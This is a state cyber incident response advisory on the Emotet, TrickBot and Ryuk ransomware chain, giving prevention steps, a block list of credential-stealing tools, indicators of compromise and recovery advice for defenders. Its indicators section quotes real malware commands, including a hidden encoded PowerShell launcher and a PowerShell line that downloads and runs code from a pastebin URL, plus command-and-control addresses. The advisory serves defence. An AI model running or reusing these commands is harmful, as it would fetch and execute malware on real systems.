NEW YORK STATE | Homeland Security and Emergency Services | Counter Terrorism | Cyber Incident Response Team

Threat Report Emotet, TrickBot, and Ryuk

New York State DHSES has confirmed that multiple entities in the Education Sector throughout the country have been affected by the Ryuk ransomware. These Ryuk infections are preceded with an Emotet / Trickbot infection beginning as far back as January 2019 that has remained undetected by multiple AV products at the time of this report.

This report, prepared by the New York State Cyber Incident Response Team, provides prevention guidelines and recommendations for detecting and responding to Ryuk. These recommendations consolidate advice from multiple sources and the Indicators of Compromise identified are a combination of open source intelligence research, FBI notices, and MS-ISAC Malware Analysis Reports. Although this is intended to be comprehensive as of the date of publication, we encourage readers to continue monitoring reports on this subject.

This report is primarily intended for IT directors who manage their own cyber security, and contractors who provide cyber security for their clients.

As with all such recommendations, there is no assurance that applying them will be effective and will not degrade business operations. Operators are advised to test any changes made to their systems as a result of this report prior to deployment.

Report Objectives

- Identify Ryuk
- Prevent Ryuk
- Detect Ryuk
- Respond to Ryuk
- Recover from Ryuk

Background

Ryuk is a sophisticated malware that was first seen in August 2018. It is particularly disruptive because it is a targeted malware where ransom demands are set according to the victim's ability to pay[1]. It uses RSA-2048 and AES-256 encryption to encrypt a victim's files. Ryuk has a short whitelist of files and directories not to encrypt. Due to this short whitelist Ryuk can cause severe system instability, potentially resulting in unbootable devices.

[1] *Advisory: Ryuk ransomware targeting organizations globally,* Britain's National Cyber Security Centre, June 22, 2019 Available at *https*://s3.eu-west-1.amazonaws.com/ncsc-content/files/RYUK%20Advisory%20draft%20CP%20June%202019.pdf

Propagation Methods:

Ryuk is one possible final payload in an infection chain that frequently begins with Emotet and/or Trickbot. This group of malware uses multiple tools to propagate within an infected entity including PowerShell, PowerShell Empire, RDP, PSEXEC, NetCraft, and Batch Scripts. Different phases of the attack will obfuscate their activity, making it more difficult to detect infections of Ryuk.

A typical infection proceeds as follows:

1. Phishing emails containing malicious scripts, macros, or executable deliver Emotet. Sometimes, a direct RDP login is the initial vector.
2. Emotet will then call out and install TrickBot.
3. TrickBot is a modular malware that can be customized to harvest credentials and data and perform network and host reconnaissance. This reconnaissance is being used to identify the entity as a candidate for possible further exploitation.
4. Installation of Ryuk ransomware is one possible outcome from this infection chain. Emotet / Trickbot may be present on the network for months before Ryuk Ransomware is deployed. Further exploitation or data exfiltration may take place prior to its deployment.
5. The initial Emotet / Trickbot payload is capable of anti-virus evasion and can reside undetected for extended periods of time. Similarly, Ryuk is a sophisticated piece of malware implementing anti-forensic techniques, and Dynamic Link Library (DLL) injection.[2] Some variants are VM and network aware, which means it can detect what system it is running and execute differently to avoid detection or affect the victim.

Prevention

Protecting systems against Ryuk is no different from protecting against other families of malware. The following are some steps that will help reduce your likelihood of being infected. The Ryuk / Emotet / Trickbot campaigns vary in their tactics and, accordingly, all of these actions should be performed for the best protection:

- Enforce Access Control Lists between network segments, both internal <-> internal and external <-> internal
- Uniformly adopt a principle of least privilege
- Allow only plaintext for email. (Note: This may have user and business impact)
- Strip attachments from email that have extensions
  - .zip
  - .rar
  - .dll
  - .exe

[2] DLL injection is the process of inserting code into a running process.

  - .png
- Require Two Factor Authentication for all externally accessible services (VPN, E-Mail, admin accounts, etc.)
- Educate users about phishing

Disable:

- Macros (At a minimum, prevent macros from running executable content)
  - This can be handled by Group Policy (Attack Surface Reduction – ASR)
- PowerShell scripting on workstations
- PowerShell backwards compatibility
- Script execution on workstations (cmd.exe and wscript.exe)
- PSEXEC
- Administrative Shares
- SMB workstation to workstation
- Inbound RDP (Use a VPN solution if RDP is required)

Patch:

- Apply MS17-010
  - This patch will prevent lateral movement across the network using the eternal blue exploit, but it will not prevent lateral movement if credentials have been harvested through Emotet/Trickbot (mimikatz/pwgrab)
- Workstation/Server OS
- Remote access systems
- Signature based detection solutions (Anti-Virus, IDS/IPS, etc)

Block (i.e. blacklist) the following applications:

- pwgrab
- mimikatz
- PowerShell Empire
- PSEXEC
- Adfind.exe
- RYUK
- HERMES
- Netpass.exe
- Outlook scraper
- Webbrowser passview
- Mail passview
- credential enumerator
- 379.exe
- Kill.bat

Indicators of compromise

Additional Indicators of Compromise (IOCs) will be provided as they become available. Recent IOCs that have been released by Law Enforcement entities are listed below:

- The program tiki.exe set to run at startup.
- Wgets to 218.16.120[.]253
  - Connections observed to the following in an attempt to download ie_up.exe: http[:]//0xda[.]0x10[.]0x78[.]0xfd/ie_up[.]exe
- The presence of wdcsam.inf.2823sf8551
  - This file was created by the application C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe after it established a TCP/443 connection to 104.20.208[.]21:443
  - "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e SQBmACgAJABFAE4AVgA6AFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAIAAtAGMAbwBuAHQAYQBpAG4AcwAgACcAQQBNAEQANgA0ACcAKQB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgAkAEUAbgB2ADoAVwBJAE4ARABJAFIAXABTAHkAcwBXAE8AVwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQB
- Process set to sleep for one million seconds (11.5 days)
  - "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/NLEa6k0y'));Invoke-FTPKJSOYWA;Start-Sleep -s 1000000
- File Creation
  - IQJfs.exe
  - Ryuk.exe

Historical indicators of compromise:

The IOCs listed below are based on open source research:

- Any attempt to stop security related services
- Changes to registry \HKLM\System\CurrentControlSet\Services\
- New services / scheduled tasks with unusual names / paths
- .png files (may contain the payload)
- tiki.exe set to run at startup
- Outbound web traffic to 445, 447, 449, and 8082
- Unusual RDP traffic
- Unusual files in user's roaming directories
- IPs / URLs of interest:
  - 69.164.196[.]21
  - 107.150.40[.]234
  - 162.211.64[.]20
  - 217.12.210[.]54

  - 89.18.27[.]34
  - 193.183.98[.]154
  - 51.255.167[.]0
  - 91.121.155[.]13
  - 87.98.175[.]85
  - 185.97.7[.]7
  - 104.20.208[.]21
  - 104.20.209[.]21
  - 192.161.54[.]60
  - 82.146.54[.]187
  - 75.147.173[.]236
  - 170.238.117[.]187
  - 195.123.237[.]129
  - 194.5.250[.]123
  - 85.204.116[.]158
  - 31.184.254[.]18
  - 186.10.243[.]70
  - Efreedommakeer[dot]com
  - Retro11legendblue[dot]com
  - Ousamatravel[dot]com
  - Cashcow[dot]ai
  - Shahdazma[dot]com
  - Myexteernalip[dot]com/raw
  - Api.ipify[dot]org
  - Icanhazip[dot]com
  - Ip.anysrc[dot]net/plain/clientip

- Files Created:
  - Loader.DLL/inject.DLL
  - Sinj
  - Dinj
  - Dpost
  - Systeminfo.dll
  - Mailsearcher.dll
  - Network.dll
  - module.dll/import.dll
  - domain.dll
  - outlook.dll
  - ssqul.dll

  - pwgrab.dll
  - worm.dll
  - share.dll
  - tab.dll
  - module64.dll
  - mswvc.exe
  - vncsrv.dll
  - socks5dll.dll
  - core-dll.dll
  - dll.dll
  - TrickBot.exe
  - screenlocker_x64.dll
  - spreader_x64.dll
  - pwdumper.dll
  - ryuk.exe

Responding to a Ryuk infection

The first two steps listed below are especially important in preventing additional damage should you be infected.

- REMOVE or ISOLATE the infected machine(s) from the Network
- DO NOT LOG IN USING ANY CREDENTIALS, ESPECIALLY ANY ADMIN LEVEL CREDENTIALS. Instead, restore any infected machines by following the Recovery steps listed below.
- Ensure Emotet/TrickBot is not on any remaining network machines. Failure to eradicate and remediate Emotet/TrickBot will lead to re-infection
- Decide whether to shut down the affected machine(s). Shutting down a system will cause any artifacts in memory to be lost which will affect the usefulness of forensic analysis and reduce the likelihood that law enforcement will be able to collect evidence for attribution and prosecution. But this is a business decision that must include evaluating the risk of leaving the machine powered on.
- Consider taking the entire network or segment offline to prevent any additional infections
- Reach out to outside resources such as DHSES-CIRT (1-844-OCT-CIRT)

Recovering from Ryuk

- The safest option is a full wipe and reinstallation from known good media for any infected systems.
- The second-best option is to restore files from an offline backup after verifying integrity of the backup.
- As an alternative option, it may be possible to perform a system restoration using the Volume Shadow Copy Service (VSS).
  - The last two restoration options should be checked for indicators of Emotet and/or Trickbot to make sure that stage of the infection was not part of the backup process.
- Issue password resets for all users, admins, and service accounts
  - Verify that all domain accounts are valid
  - Verify that all do main accounts have the appropriate privileges

- Reset passwords for all accounts that may have been accessed during the infection window.
  - This includes personal/business email, financial accounts, etc.

Notes:

References, known hashes, and further reading.

- https://www.ncsc.gov.uk/news/ryuk-advisory
- https://www.us-cert.gov/ncas/alerts/TA18-201A
- https://www.cisecurity.org/white-papers/security-primer-trickbot/
- https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/
- https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware
- https://www.coveware.com/ryuk-ransomware
- https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/

Further information will be provided when ongoing analysis is complete.